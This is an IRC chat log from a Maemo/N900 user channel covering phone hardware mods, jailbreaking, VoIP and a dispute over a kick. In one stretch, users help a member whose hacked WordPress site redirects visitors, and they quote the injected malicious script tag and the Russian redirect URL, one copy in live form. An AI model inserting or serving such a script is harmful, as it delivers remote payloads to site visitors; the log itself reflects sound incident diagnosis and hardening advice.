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| 00:57.54 | Hurrian | DocScrutinizer06, has anybody tested whether it was protected? |
| 00:58.11 | SpeedEvil | It's inherently unprotected due to the design in that case. |
| 00:58.14 | Hurrian | iirc someone blew a fuse on the testpoints, but not all of them have protections |
| 00:58.27 | SpeedEvil | And you can't really test it. |
| 00:58.56 | Hurrian | yeah, testing would yield one of two results: nothing, or it breaks |
| 00:58.59 | SpeedEvil | It's like trying to test the safety of bike helmets by using real people. |
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| 01:26.38 | LaoLang_cool | Maemo keyboard is so limitation, no shortcuts to open menus/select items etc. |
| 01:26.49 | LaoLang_cool | only for input text |
| 01:26.54 | LaoLang_cool | :( |
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| 02:03.40 | Estel_ | shorting choke in USB circuit isn't good idea, but, without doiung so, USB chip itself got 8,8 kV protecting diodes |
| 02:03.57 | Estel_ | so N900's main protecting circuit is in fact secondary one |
| 02:04.28 | Estel_ | of cours,e it's beter to have 2 lines of defense, but, for people with usb port broken beyond soldering to normal pads,. using testpads under battery seems to work flawlessly |
| 02:05.25 | Estel_ | It's more risky than overclocking - yes - but, considering fact, that DocScrutinizer is "whinning" against overclocking for years, and up to date, we don't have *any* single report of damage due to (sane) OC (or, in fact, we don't have report about any damage...) |
| 02:06.01 | Estel_ | ...I suspect, that people using testpads-USB for months without problems will benefit from it for years to come, and we will never ever hear about any fried USB chip, except, if someone's N900 get hit by lightning |
| 02:06.08 | Estel_ | ...in which case, tranzorbs wouldn't help too ;) |
| 02:06.31 | Estel_ | it just another case of zealot'ish ideology vs real life |
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| 02:20.47 | robbiethe1st | Next weekend, I'll try it myself if I can... |
| 02:24.15 | pronto | http://weknowawesome.com/wp-content/uploads/2012/04/house-stark-tony.jpg |
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| 03:06.17 | disco_stu | someone with a nokia n9 ? |
| 03:06.36 | GeneralAntilles | Does N950 count? |
| 03:06.44 | GeneralAntilles | Also: Do I have to do anything for you or can I just brag? |
| 03:10.16 | wmarone | hah |
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| 03:25.25 | disco_stu | GeneralAntilles: i think it counts, i'm just wondering.. |
| 03:25.43 | disco_stu | GeneralAntilles: don't know if I should by the n9 or no |
| 03:25.49 | GeneralAntilles | You should |
| 03:25.53 | GeneralAntilles | It's utterly unique |
| 03:25.59 | disco_stu | doesnt know the n950 |
| 03:26.09 | disco_stu | GeneralAntilles: i like that |
| 03:26.13 | GeneralAntilles | It's what was supposed to be the N9 |
| 03:26.21 | GeneralAntilles | But wasn't once things got all delayed and screwed up |
| 03:26.30 | GeneralAntilles | and ended up being the unreleased developer device with a keyboard. |
| 03:26.31 | disco_stu | GeneralAntilles: i've been using android for 2 years know, it sucks *big* time |
| 03:27.27 | disco_stu | GeneralAntilles: i've seen videos of the n9 and meego really looks something awesome |
| 03:27.38 | GeneralAntilles | Yeah Harmattan is the best mobile OS I've ever used. |
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| 03:27.42 | GeneralAntilles | Swipe is something to behold. |
| 03:27.52 | GeneralAntilles | It's not without its flaws |
| 03:28.09 | GeneralAntilles | Built-in browser is terrible compared to the N900 (but arguably better than Android and iOS in a lot of ways). |
| 03:28.15 | GeneralAntilles | Memory hog |
| 03:29.14 | disco_stu | oh my, the n950 looks sooooo cool |
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| 03:30.31 | disco_stu | GeneralAntilles: something is holding me back a little (just a little) is the lack of whatsapp client, but sports tracker client makes me really happy |
| 03:30.41 | GeneralAntilles | There's a WhatsApp client |
| 03:30.46 | GeneralAntilles | Open source and everything |
| 03:30.48 | GeneralAntilles | Wazzap |
| 03:32.09 | disco_stu | nice |
| 03:33.02 | disco_stu | people keep telling me that android has a huge load of apps, but the truth is that with my 2 year old motorla i cant have a lot of apps |
| 03:33.50 | disco_stu | and used to my n800 (diablo) the thing that bothers me the most is the crappines of android to handle multitasking |
| 03:34.06 | disco_stu | it seems you need 3gigs of ram to have a few apps |
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| 03:35.29 | disco_stu | GeneralAntilles: when you said Memory Hog, what did you mean by that ? |
| 03:35.39 | GeneralAntilles | The browser tends to eat up memory |
| 03:35.53 | GeneralAntilles | It's got 1GB of RAM, though, so it's not a huge issue. |
| 03:36.55 | disco_stu | GeneralAntilles: and the processor is fast enough? are there browser alternatives ? like Opera Mini ? |
| 03:37.00 | GeneralAntilles | Yes |
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| 03:40.36 | disco_stu | GeneralAntilles: the other option may be a nokia n8 but ... symbian ... |
| 03:40.49 | GeneralAntilles | Harmattan is way better than Symbian |
| 03:40.54 | GeneralAntilles | Besides, you'll own a piece of history. |
| 03:42.05 | disco_stu | i dont understand how they decided to put away harmattan and turn to windows phone |
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| 03:43.31 | GeneralAntilles | Because the board is filled with dinosaurs. |
| 03:43.36 | GeneralAntilles | It's not entirely surprising. |
| 03:44.27 | GeneralAntilles | On one hand they've got this mostly-in-house venture they're sort of partnering with Intel on (but having a ton of issues in the partnership). It's expensive, it's risky, and it's basically going it on your own. |
| 03:45.15 | GeneralAntilles | On the other they've got Microsoft. Established player, Nokia wont have to do the heavy-lifting on the platform development. MS's offering them shittons of cash, patent protection, development assistance, and shittons of cash. |
| 03:45.29 | GeneralAntilles | Easy choice if you're a clueless old dinosaur who's living in the 90s. |
| 03:45.56 | GeneralAntilles | Now they're trading for $2.88. |
| 03:45.57 | GeneralAntilles | Love it. |
| 03:46.14 | disco_stu | GeneralAntilles: $2.88 ? |
| 03:46.28 | GeneralAntilles | NOK is at $2.88 |
| 03:47.18 | disco_stu | GeneralAntilles: is that good ? i'm from argentina i make wine dont know much about stocks |
| 03:47.20 | disco_stu | lol |
| 03:48.09 | GeneralAntilles | No. No, it's not good. |
| 03:48.15 | GeneralAntilles | Trading for about $40 in 2007. |
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| 03:48.59 | disco_stu | GeneralAntilles: omg, the were/are at the edge ? |
| 03:49.18 | GeneralAntilles | Nokia is headed for the toilet. |
| 03:49.23 | GeneralAntilles | I don't see them pulling out soon. |
| 03:49.40 | disco_stu | GeneralAntilles: what phone are you using currently ? |
| 03:49.44 | GeneralAntilles | N950 |
| 03:57.44 | jacekowski | GeneralAntilles: well, facebook has dropped 50% in first day |
| 03:57.49 | jacekowski | GeneralAntilles: and it's still going down |
| 03:58.15 | GeneralAntilles | Has Facebook ever released an update that hasn't made their core product worse? |
| 03:58.30 | GeneralAntilles | My continued faith in the stock market is once-again justified. |
| 04:00.11 | Hurrian | GeneralAntilles, the interface has become more cluttered and confusing since 2008 |
| 04:00.32 | GeneralAntilles | I was on Facebook in 2006 |
| 04:00.39 | Hurrian | buttons put in the wrong place, totally different UIs for lightbox and page view, etc |
| 04:00.47 | GeneralAntilles | Every update they released from then until 2008 when I left Facebook made it worse. |
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| 04:00.57 | GeneralAntilles | So it really doesn't surprise me that their IPO was shit. |
| 04:01.10 | GeneralAntilles | It's heartening to see the dotcom bubble isn't completely back. |
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| 04:50.46 | Estel_ | Nokia? was it that company deceased in 2013 or 2014? |
| 04:50.57 | Estel_ | It was so long ago... |
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| 07:54.00 | malin | anyone having problems, syncing N900 with google calendar? Mine stoped working yesterday or the day before yesterday |
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| 08:20.23 | MohammadAG | Can anyone give me the ip resolved by their dns for mohammadag.xceleo.org |
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| 08:22.36 | teotwaki | 69.163.135.251 |
| 08:22.51 | teotwaki | Do you want the full record, MohammadAG? |
| 08:23.28 | teotwaki | MohammadAG: use dig :P |
| 08:23.40 | teotwaki | dig @8.8.8.8 mohammadag.xceleo.org |
| 08:23.51 | teotwaki | or dig @someotherdns <mywebsite> |
| 08:23.58 | MohammadAG | I'm on my iPhone :/ |
| 08:24.23 | fizzie | mohammadag.xceleo.org. 14396 IN A 69.163.135.251 says our friendly local DNS server. |
| 08:24.25 | teotwaki | I'm wondering whether I should kick/ban you right away or not |
| 08:24.49 | Corsac | maybe theres dig on iphone |
| 08:25.03 | fizzie | Maybe there's... an app for that. |
| 08:25.34 | MohammadAG | Maybe, the iPhone does have its fair share of unix utils |
| 08:27.10 | MohammadAG | teotwaki: Democracy |
| 08:27.37 | MohammadAG | fizzie: Thanks, says unavailable though |
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| 08:33.17 | teotwaki | ??? I gave the IP address as my first reply! |
| 08:33.45 | MohammadAG | Thanks teotwaki, just noticed that |
| 08:34.04 | MohammadAG | It scrolled out of view on the iPhone's 3.5" screen |
| 08:34.12 | teotwaki | MohammadAG: that's just your vhost setup being clonked |
| 08:34.13 | MohammadAG | :p |
| 08:34.16 | Estel^ | Pali, ping |
| 08:34.29 | Estel^ | MohammadAG, just use N900 :P |
| 08:34.43 | teotwaki | but I have access to the website without too many issues |
| 08:34.46 | MohammadAG | It doesn't last a day through uni |
| 08:35.09 | Estel^ | MohammadAG, mine have 3000 mAh battery, and soon will have 6A one |
| 08:35.15 | MohammadAG | Yeah, but my .htaccess keeps getting hacked |
| 08:35.31 | teotwaki | your .htaccess keeps getting hacked? |
| 08:35.34 | Estel^ | MohammadAG, secure it? ;) |
| 08:35.35 | teotwaki | What the hell does that even mean? |
| 08:35.36 | MohammadAG | Arie keeps being redirected to a Russian site |
| 08:35.56 | Estel^ | hm |
| 08:35.59 | teotwaki | MohammadAG: then you have some file upload form that has issues |
| 08:36.03 | teotwaki | MohammadAG: it won't be DNS. |
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| 08:36.06 | Estel^ | maybe it's arie dns being hacked |
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| 08:36.22 | MohammadAG | No, it's my htaccess file |
| 08:36.44 | MohammadAG | It keeps being replaced by one that redirects to a Russian site |
| 08:36.48 | Estel^ | identified vulnerability responsible? |
| 08:37.13 | MohammadAG | No idea, wondering if it's Wordpress |
| 08:37.24 | Estel^ | sounds reasonable |
| 08:37.41 | teotwaki | MohammadAG: stop wondering |
| 08:37.43 | Estel^ | I suppose it's hacked by bot, and bots are written for popular things |
| 08:37.54 | Estel^ | yea, disable it and check effects |
| 08:38.08 | MohammadAG | Then what should I use? :p |
| 08:38.18 | teotwaki | MohammadAG: upgrade wordpress |
| 08:38.26 | Estel^ | patched version or some honest FOSS tool :P |
| 08:38.39 | Hurrian | MAG, there seems to be some script attached to the top |
| 08:39.11 | teotwaki | you mean this page: http://pasla-setatg.ru/qrfoa?8 ? |
| 08:39.14 | Hurrian | i'd recommend simply writing your pages by hand |
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| 08:39.26 | Hurrian | <script src="hxxp://phukjik.cri2.go.th/?rnd=1024%2Fgro.oelecx.gadammahom%2F%2F%3Aptth"> |
| 08:39.31 | teotwaki | <script src="http://phukjik.cri2.go.th/?rnd=1024%2Fgro.oelecx.gadammahom%2F%2F%3Aptth"></script> |
| 08:39.43 | Estel^ | not necessary, wordpress isn't only one tool in existence |
| 08:40.19 | teotwaki | MohammadAG: use Wt |
| 08:40.23 | teotwaki | MohammadAG: (webtoolkit.eu) |
| 08:40.40 | teotwaki | C++, Qt-style widgets that make web-pages :) |
| 08:41.09 | Estel^ | BTW, MohammadAG, of course is's Your business not mine, but why using some, erm, sorry to say that, crappy iPhone, instead of buying dual-scud and having N900 with full tools with You, everywhere? |
| 08:42.09 | Estel^ | trying to identify vulnerabilities/ do some net checks/tracing using an android or iphone make most tech people want to kill themselves |
| 08:42.12 | teotwaki | MohammadAG: http://wordpress.org/extend/plugins/exploit-scanner/ |
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| 08:42.39 | Hurrian | MAG, I'd recommend flattening the site first before you do anything |
| 08:42.49 | Estel^ | yea, nuke it |
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| 08:43.02 | Hurrian | checking each file, whether manual or automatic does not guarantee cleaning |
| 08:43.23 | Hurrian | oh, and unless you really need all of wordpress, don't use it |
| 08:43.49 | teotwaki | MohammadAG: http://codex.wordpress.org/FAQ_My_site_was_hacked |
| 08:43.57 | teotwaki | MohammadAG: http://codex.wordpress.org/Hardening_WordPress |
| 08:43.58 | Estel^ | :P |
| 08:44.26 | teotwaki | MohammadAG: if you want to setup a website based on Wt, I'll help you write it :) |
| 08:45.16 | MohammadAG | Estel^: The iPhone is a bit more higher specced |
| 08:45.42 | MohammadAG | teotwaki: C++, Qt-style widgets that make web-pages :) |
| 08:45.46 | MohammadAG | Heaven |
| 08:45.58 | Estel^ | sure, most consoles too, when they arrive. Wchich doesn't mean, that they're actually more useful than average computer |
| 08:46.15 | Estel^ | but I'm not pushing You, of course, it's not my business as said. |
| 08:46.20 | Estel^ | Was just surprised. |
| 08:47.32 | Hurrian | Estel^, speaking of consoles, my PS3 has been compiling webkit for 4 hours now |
| 08:48.04 | Estel^ | nice, that You managed to overcome obstacles |
| 08:48.11 | Estel^ | needed cross-compiler, yep? to get out of depend. loop? |
| 08:48.39 | MohammadAG | Estel^: I know, I've had the iPhone since October |
| 08:48.45 | Hurrian | Estel^, cross-compiler built a base system, which I run on the PS3 |
| 08:48.56 | Hurrian | pacman doesn't play nice with cross-compiling |
| 08:49.14 | MohammadAG | It's jailbroken, most limits taken off |
| 08:49.19 | Estel^ | probably because of ghosts ;) |
| 08:49.20 | Hurrian | MohammadAG, which firmware? |
| 08:49.25 | MohammadAG | At least there's no aegis |
| 08:49.38 | Hurrian | updating jailbroken iOS is a royal pain though |
| 08:49.42 | MohammadAG | iPhone? 5.1.1, ps3? Latest |
| 08:49.49 | Estel^ | MohammadAG, supposed that. Still, it's probably, closed blob *everywhere*? |
| 08:50.01 | MohammadAG | Hurrian: Royal is an understatement |
| 08:50.11 | Hurrian | Estel^, not only closed blob for firmware, closed jailbreak apps |
| 08:50.17 | MohammadAG | Estel^: How's harmattan different? :p |
| 08:50.18 | Hurrian | the "ecosystem" is very much different |
| 08:50.27 | MohammadAG | That's true |
| 08:50.34 | Estel^ | MohammadAG, I'm sure fighting aegis isn't harder than jailbreaking, just need more time to maturate, probably |
| 08:50.36 | MohammadAG | Most tweaks are closed and paid |
| 08:50.47 | Estel^ | but of course aegis IS royal pITA |
| 08:50.59 | MohammadAG | Jailbreaking is a bitch for its deva |
| 08:51.02 | MohammadAG | Devs |
| 08:51.18 | MohammadAG | There's DES, ASLR, and the sandbox |
| 08:51.25 | MohammadAG | DEP* |
| 08:51.37 | Estel^ | erm, I suppose it's worse than android, where even terminal and ssh got advers or require to pay? |
| 08:52.03 | MohammadAG | Meanwhile, aegis can be broken with a kernel hack |
| 08:52.05 | MohammadAG | No, apps are way better |
| 08:52.17 | MohammadAG | Android is the worst there |
| 08:52.24 | Hurrian | Estel^, well, the fact that the UI toolkit is unified makes it more bearable |
| 08:52.36 | Estel^ | honestly, without any elitarism, couln't use such systems (android, iphone) seriously, out of dumn-phone. Would literally go mad trying to find something FOSS and proper |
| 08:52.53 | Hurrian | you do have the occasional idiot that decides it'd be nice to deviate from that, but otherwise, most jailbreak apps are nicely-made |
| 08:52.56 | Estel^ | MohammadAG, but more closed than android? |
| 08:53.03 | Estel^ | apps^ |
| 08:53.04 | MohammadAG | MobileSubstrate is good |
| 08:53.21 | Hurrian | memory hog. |
| 08:53.42 | MohammadAG | looks at 26MB free ram |
| 08:54.05 | Hurrian | after ~5 substrates the heavy games may be killed from OOM |
| 08:54.13 | Estel^ | You know what? I've just spent some time soldering sd card reader to my 200 mhz wrt54gl, and installing/configuring openwrt there. Planning to solder usb 1.1 port too. |
| 08:54.20 | MohammadAG | Depends what they hook |
| 08:54.38 | Estel^ | preffer that 1000x times, than buying brand new 345456456 mhz router |
| 08:54.42 | MohammadAG | I hate android's Ecosystem |
| 08:54.49 | Estel^ | and deal with blobs, pauware etc |
| 08:55.06 | Hurrian | Estel^, fyi, the de facto iOS jailbreaking tool, redsn0w is closed-source |
| 08:55.09 | MohammadAG | I hate how rom cookers don't give a shit about legal stuff |
| 08:55.20 | Estel^ | i hate using ecosystem outside of animal planet context : |
| 08:55.26 | Estel^ | MohammadAG, true |
| 08:55.33 | MohammadAG | I hate how they're like oooh, we removed voltage restrictions and the device runs faster |
| 08:55.34 | Estel^ | Hurrian, heh |
| 08:55.42 | MohammadAG | It's safe! Release |
| 08:55.57 | Estel^ | honestly, both android and apples are not for me |
| 08:56.09 | Estel^ | but, honestly, some android people are knowledgeable too |
| 08:56.18 | MohammadAG | Most aren't |
| 08:56.22 | Estel^ | there is just much more of them, so more semi-hackers too |
| 08:56.26 | MohammadAG | The opposite on iOS |
| 08:56.33 | Hurrian | MohammadAG, most ROMs that aren't CM9 straight KANGs are AWFUL |
| 08:56.37 | MohammadAG | Most devs make me feel like an idiot |
| 08:56.45 | Estel^ | in numbers, probably, more than knowledgeable apple eaters - just more difused |
| 08:57.09 | Estel^ | MohammadAG, honestly, You're just new to platform |
| 08:57.33 | Estel^ | they would look like idiots when come to real linux tools or Maemo ;) |
| 08:57.41 | MohammadAG | Estel^: Look at jailbreak developers |
| 08:58.02 | Estel^ | yea, same can be told about cyanogen mod people |
| 08:58.08 | MohammadAG | @pod2g, @chpwn to name a few |
| 08:58.14 | Hurrian | MohammadAG, jailbreak development is tough, and lots depend on pure luck |
| 08:58.18 | Estel^ | although, IMO, they're not even close to freemangordon and Pali ;) |
| 08:58.31 | Hurrian | side note, anybody want to test jailbreaking an iPhone from a N900? |
| 08:58.31 | MohammadAG | Working with open source is easy Estel^ |
| 08:58.36 | Estel^ | i.e. Maemo. Just different words |
| 08:58.51 | Estel^ | + hanging on ios, even dev irc, or android one, compared to maemo... |
| 08:59.03 | Estel^ | MohammadAG, not only easy, but more beneficial |
| 08:59.23 | Estel^ | buying *overpriced* toy from apple, then volounteering hours of ultra hard work... |
| 08:59.38 | Estel^ | to make it barely usable and make other people fill apple's purse... |
| 08:59.46 | Hurrian | Estel^, some people just like iOS that much |
| 08:59.47 | MohammadAG | They get donations ;p |
| 08:59.51 | Estel^ | Isn't my favorite way. |
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| 09:00.02 | Estel^ | of course, they're free to do whatever they want |
| 09:00.06 | Estel^ | with their time |
| 09:00.08 | Estel^ | Hurrian, true |
| 09:00.15 | MohammadAG | I would've gone with android but it's not sane |
| 09:00.23 | Estel^ | well, typical apple users seems like having a little too much money ;) |
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| 09:00.37 | Estel^ | MohammadAG, Stay with us ;) |
| 09:00.56 | MohammadAG | My 1GHz iPhone runs faster than a 1.2GHz dual core SGSII |
| 09:01.08 | Estel^ | vivaldi is coming, Pi arrived, and trust me, Mobile computer-phone is just after horizon. |
| 09:01.17 | MohammadAG | I never left, if I was going to I would've left in October |
| 09:01.24 | Estel^ | I know ;) |
| 09:01.30 | Hurrian | Estel^, most iOS hackers don't buy their devices, they get gifted. |
| 09:01.38 | vi_ | Estel^: we already have mobile computer phones. WE have had them for at least a decade.... |
| 09:01.43 | Estel^ | Hurrian, first one buyed, I suppose :P |
| 09:01.45 | vi_ | ...just no iseful operating system. |
| 09:01.48 | Estel^ | bought* |
| 09:01.49 | MohammadAG | Then they get hired by apple |
| 09:02.01 | Estel^ | eaten by apple ;) |
| 09:02.13 | MohammadAG | Explains the bite in their logo |
| 09:02.21 | Estel^ | ;) |
| 09:02.41 | MohammadAG | Anyway, I needed a device with commercial apps |
| 09:02.43 | Estel^ | I' glad Rpi haven't included bite in their raspberry |
| 09:02.53 | MohammadAG | And I needed to lower my bill |
| 09:03.08 | MohammadAG | So it was either iPhone 4, or SGSII |
| 09:03.09 | Estel^ | why comm apps? |
| 09:03.21 | MohammadAG | They're useful |
| 09:03.35 | MohammadAG | Stuff like SoundHound, WhatsApp, Viber |
| 09:03.36 | Estel^ | Yea, banging head against them is quite effective. |
| 09:03.49 | MohammadAG | I dont like to use them but everyone is |
| 09:03.52 | Estel^ | is going to vomit |
| 09:03.55 | Estel^ | whatsapp? |
| 09:04.06 | MohammadAG | Yes |
| 09:04.13 | MohammadAG | Waze |
| 09:04.14 | Hurrian | meh, network effect |
| 09:04.19 | Estel^ | MohammadAG, why You care about what "others" like to use? |
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| 09:04.42 | Estel^ | well, some time ago, literally everyone in family and friends were using skype |
| 09:04.54 | Hurrian | Estel^, same here |
| 09:04.58 | Estel^ | few years/months ago, actually |
| 09:05.08 | MohammadAG | Estel^: No, but you have to unless you want to talk to yourself :p |
| 09:05.09 | Hurrian | that's a problem, haven't found universal alternative for it |
| 09:05.18 | Estel^ | Then, when i realized silver needle in the sky(pe), I just dropped it |
| 09:05.33 | Estel^ | gently telling anyone surprised why |
| 09:05.37 | MohammadAG | Estel^: Yeah, but people keep saying whatsapp is lighter than Skype (P2P$ |
| 09:05.41 | vi_ | I knew a man who decided to go open source software only. |
| 09:05.41 | Estel^ | if they were interested, I explained |
| 09:05.44 | Estel^ | if not, just no |
| 09:05.58 | vi_ | He was patent free right up till the day he commited suicicde |
| 09:06.02 | Estel^ | then, one by one, everyone else dropped it, even if it took them weeks or months |
| 09:06.12 | Estel^ | to the last most untechy ones |
| 09:06.26 | MohammadAG | I'm not sure if that's supposed to be funny |
| 09:06.32 | Estel^ | a small piece of something I've said about it being wrong, vulnerable itp, got planted |
| 09:06.51 | Estel^ | now everyone uses proper voip |
| 09:07.10 | Estel^ | heck, few weeks ago I convinced my mother to seel xperia x10 mini pro and buy N900 |
| 09:08.00 | Estel^ | I just don't use closed coms like skype, whatsapp, or whatever. If someone doesn't want to contact me in other form, can kiss own ass. |
| 09:08.13 | Estel^ | of course, generally, I explain it more gently :P |
| 09:08.23 | vi_ | Estel^: do you hate your mother? |
| 09:08.46 | Estel^ | You know what? even in business I do not use skype, gently explaining why. Reaction from clients is supriringly positive |
| 09:09.04 | vi_ | Estel^: what is wrong with skype? |
| 09:09.17 | Estel^ | vi_, I'm patent-free as much as I can, which, of course, doesn't mean 100% no patent things |
| 09:09.20 | Estel^ | vi |
| 09:09.21 | Hurrian | vi_, would that man be called "Richard Stallman"? |
| 09:09.24 | Estel^ | search google for |
| 09:09.32 | Estel^ | "silver needle in the skype" |
| 09:09.43 | Estel^ | You'll find nice interesting .pdf |
| 09:10.04 | vi_ | I wouldn't wish n900 on anybody. |
| 09:10.22 | Estel^ | add to this some skype "ops", when vista was appearing, that revealed it being collecting personal data like motherboard serial numbers, and You'll have wide picture |
| 09:10.39 | Estel^ | Hurrian, haha, Stallman seems to be living hapilly |
| 09:11.15 | fasta | Estel^: what do you use then? |
| 09:11.18 | Estel^ | well, everyone is free to do whatdever want, but I would never, ever, use fucked up things like whatsupdocscrut just because others use it |
| 09:11.32 | Estel^ | fasta, voip, of course, instead of skype |
| 09:11.45 | Estel^ | booth net only, and free one with landline number |
| 09:12.04 | fasta | Estel^: booth net only? |
| 09:12.08 | Estel^ | BTW I think I will prepare asterisk on my wrt54g soon, too |
| 09:12.37 | vi_ | Estel^: you really think your wrt54g has the processing power to run asterisk? |
| 09:12.40 | Estel^ | fasta, both - I mean I use it both as net voice comm, and instead of PSTN phone (landmark) |
| 09:12.53 | Estel^ | vi_, Iknow it has :) |
| 09:13.09 | Estel^ | tested already, but it was using 2.6 kernel |
| 09:13.19 | fasta | Estel^: and you run that on your n900 too? |
| 09:13.20 | Estel^ | I've returned to 2.4 kernel for stability |
| 09:13.29 | Estel^ | fasta, no ;) |
| 09:13.40 | fasta | Estel^: don't you need some VOIP provider for calls to non-voip numbers? |
| 09:13.40 | vi_ | 2.4? Imma gonna rewt ur box. |
| 09:13.44 | Estel^ | fasta, voip is open, documented, and independent of clients |
| 09:14.04 | Estel^ | fasta, I have voip provider with free landline number |
| 09:14.22 | Estel^ | and when I want to call non voip numbers, of course, I use it |
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| 09:14.29 | Estel^ | it's cheap as hell |
| 09:14.31 | Estel^ | byw |
| 09:14.32 | fasta | Estel^: which one do you have? |
| 09:14.37 | Estel^ | I use voip on N900 too |
| 09:14.45 | Estel^ | just not installed asterisk on N900 |
| 09:14.48 | Estel^ | that I mean |
| 09:15.02 | fasta | Estel^: did you buy new batteries for it? |
| 09:15.02 | Estel^ | fasta, polish one, won't tell You anything by it's name |
| 09:15.20 | Estel^ | fasta, I have 3000 mAh (real) battery for N900, self made |
| 09:15.26 | fasta | Estel^: of course ;) |
| 09:15.34 | Estel^ | not joking. |
| 09:15.43 | fasta | Sometimes I think it's the hackers cabin here. |
| 09:15.52 | Estel^ | because it is? |
| 09:15.55 | fasta | Or lair. |
| 09:16.12 | fasta | Lairs sound cooler, don't you agree? |
| 09:16.18 | Estel^ | fasta, dual-scud, every cell 1500mAh |
| 09:16.28 | Estel^ | too much patos in lair |
| 09:16.35 | Estel^ | longue sounds more comfortable :P |
| 09:16.57 | fasta | Estel^: did you put that on a blog or something or are you too cool for a blog? |
| 09:17.05 | Estel^ | btw I'm now working on 6000 mAh battery for N900 |
| 09:17.08 | Estel^ | hahaha |
| 09:17.14 | Estel^ | no, documented on TMO |
| 09:17.21 | fasta | Estel^: some people are too cool for a blog and call it a blag.txt. |
| 09:17.32 | fasta | Estel^: True story. |
| 09:17.32 | Estel^ | it's just a tool. |
| 09:17.53 | Estel^ | it would be funny if someone would say, that is too cool for screwdriver, wouldn't it? |
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| 09:18.26 | Estel^ | blog may be idiotic or very interesting, depending on content ;) |
| 09:19.31 | Estel^ | vi_, do You know that asterisk is so scalable, than package for openwrt is less than 2mb? |
| 09:21.09 | Estel^ | fasta, loook at: |
| 09:21.17 | Estel^ | http://talk.maemo.org/showthread.php?t=65568 |
| 09:21.22 | Estel^ | and see: |
| 09:23.54 | Estel^ | http://talk.maemo.org/showthread.php?t=83928 |
| 09:24.15 | teotwaki | Hurrian: compiling on the PS3? How? |
| 09:24.23 | Estel^ | 2nd link is about body replacement, that is going to hold 6000 mAh battery |
| 09:24.36 | Estel^ | amongst other awesome things ;) |
| 09:26.24 | Hurrian | teotwaki, otheros++ |
| 09:26.57 | Estel^ | yesterday i bought bh-214 for 9 usd |
| 09:27.11 | Estel^ | will mod it to contain better battery |
| 09:42.18 | teotwaki | Hurrian: I'm guessing this requires a PS3 pre-removal of OtherOS? |
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| 09:42.34 | *** kick/#maemo [Estel^!~HaleBopp@openmoko/engineers/joerg] by DocScrutinizer05 (consider your wording!) |
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| 09:43.28 | teotwaki | wtf? |
| 09:43.49 | teotwaki | DocScrutinizer: what was that all about? |
| 09:44.06 | DocScrutinizer05 | [07.06.2012 11:11:14] <Estel^> well, everyone is free to do whatdever want, but I would never, ever, use fucked up things like whatsupdocscrut just because others use it |
| 09:44.28 | DocScrutinizer05 | I'm fed up with it |
| 09:44.35 | teotwaki | with what? |
| 09:45.44 | DocScrutinizer05 | here. particularly with "" use fucked up things like whatsupdocscrut just because others use it"" |
| 09:47.14 | teotwaki | I didn't even know people used that |
| 09:47.19 | teotwaki | who does? On TMO I'm guessing? |
| 09:47.28 | DocScrutinizer05 | used what? my nick? |
| 09:47.35 | DocScrutinizer05 | my fuckedup nick? |
| 09:47.58 | Hurrian | teotwaki, works with PS3s up to 3.55 |
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| 09:48.24 | teotwaki | DocScrutinizer: I'm lost |
| 09:48.44 | teotwaki | Hurrian: heh, I'm stuffed. |
| 09:48.54 | teotwaki | I've got 3 PS3, none are usable :( |
| 09:49.12 | Hurrian | beyond 3.55, it's can still be done, but the exploits are private, and only for debugger/debugger-converted systems |
| 09:56.12 | vi_ | <PROTECTED> |
| 09:56.12 | infobot | tmo is, like, http://en.wikipedia.org/wiki/TMO, or http://talk.maemo.org, or http://de.wikipedia.org/wiki/Terrestrial_Trunked_Radio#TMO. It's *not* T-MO (see ~T-MO) or trolls, morons, oxen. |
| 09:56.31 | vi_ | ~ping troll.maemo.org |
| 09:56.31 | infobot | pong troll.maemo.org |
| 09:57.11 | NIN101 | ... |
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| 10:05.45 | DocScrutinizer05 | teotwaki: I'm lost as well what this constant bashing of my nick is meant to achieve |
| 10:07.47 | DocScrutinizer05 | unless you accept he's always following his own ideas of psychology: [07.06.2012 11:06:28] <Estel^> a small piece of something I've said about it being wrong, vulnerable itp, got planted |
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| 10:08.21 | DocScrutinizer05 | or he's just silly kid |
| 10:08.32 | Estel^ | DocScrutinizer, ahy I got kicked? |
| 10:08.53 | DocScrutinizer05 | either way using my nick in same sentence as "fucked up" is sth I don't wnat to see |
| 10:09.10 | Estel^ | wtf?! |
| 10:09.35 | Estel^ | DocScrutinizer, please, elaborate. I was idlee for a while, and I demand explanation why I got kicked? |
| 10:09.53 | DocScrutinizer05 | [07.06.2012 11:11:14] <Estel^> well, everyone is free to do whatdever want, but I would never, ever, use fucked up things like whatsupdocscrut just because others use it |
| 10:09.56 | DocScrutinizer05 | this for |
| 10:10.03 | Estel^ | nods |
| 10:10.18 | Estel^ | I see. Of course, "People mean well" doesnt apply anymore |
| 10:10.20 | Estel^ | ??? |
| 10:10.28 | DocScrutinizer05 | not for you |
| 10:10.36 | Estel^ | You, of course, havent realised, that it's effect of auto completion |
| 10:10.44 | Estel^ | for "whatzup doc? |
| 10:10.50 | Estel^ | aka bunny bugs? |
| 10:11.07 | Estel^ | I'm writing from N900 and haven't noticed, that failed to delete whole autocompletion. |
| 10:11.15 | DocScrutinizer05 | ok, apology accepted |
| 10:11.22 | DocScrutinizer05 | sorry for kick then |
| 10:11.29 | Estel^ | no problem |
| 10:11.35 | Estel^ | not meant to offend You... |
| 10:11.53 | Estel^ | BTW, ask next time, please ;) You will never be late with kick |
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| 10:15.55 | teotwaki | http://a7.sphotos.ak.fbcdn.net/hphotos-ak-prn1/522960_3430376595919_263384423_n.jpg |
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| 10:20.49 | xkr47 | :D |
| 10:22.37 | vi_ | teotwaki: lolwut? |
| 10:23.42 | Estel^ | teotwaki, LOL |
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| 11:43.37 | kwtm | Hmm... I too recall a time that using my N900 to do IRC in this channel had its disadvantages partly because people thought I was using something with a much larger screen. |
| 11:47.09 | TTilus | im on N900 right now |
| 11:47.21 | TTilus | standard linelength =D |
| 11:47.33 | TTilus | irssi |
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| 11:57.26 | tra-la-l1 | hello |
| 11:58.16 | tra-la-l1 | I'm having a strange problem with my N900: I'm unable to connect to wifi since yesterday, and /usr/sbin/wlancond uses around 100% of the cpu |
| 11:58.32 | tra-la-l1 | I'm even unable to open a root terminal to kill it |
| 11:58.42 | jacekowski | have you tried a reboot? |
| 11:59.14 | tra-la-l1 | yes, but the problem is the same as soon as the phone tries to connect to wifi again |
| 12:00.17 | jacekowski | flash it |
| 12:01.35 | tra-la-l1 | I did just hope I wouldn't have to, but I begin to think it's the only solution |
| 12:01.40 | tra-la-l1 | dammit |
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| 12:11.47 | TTilus | backup, list selections, flash, reinstall stuff, restore, not too bad |
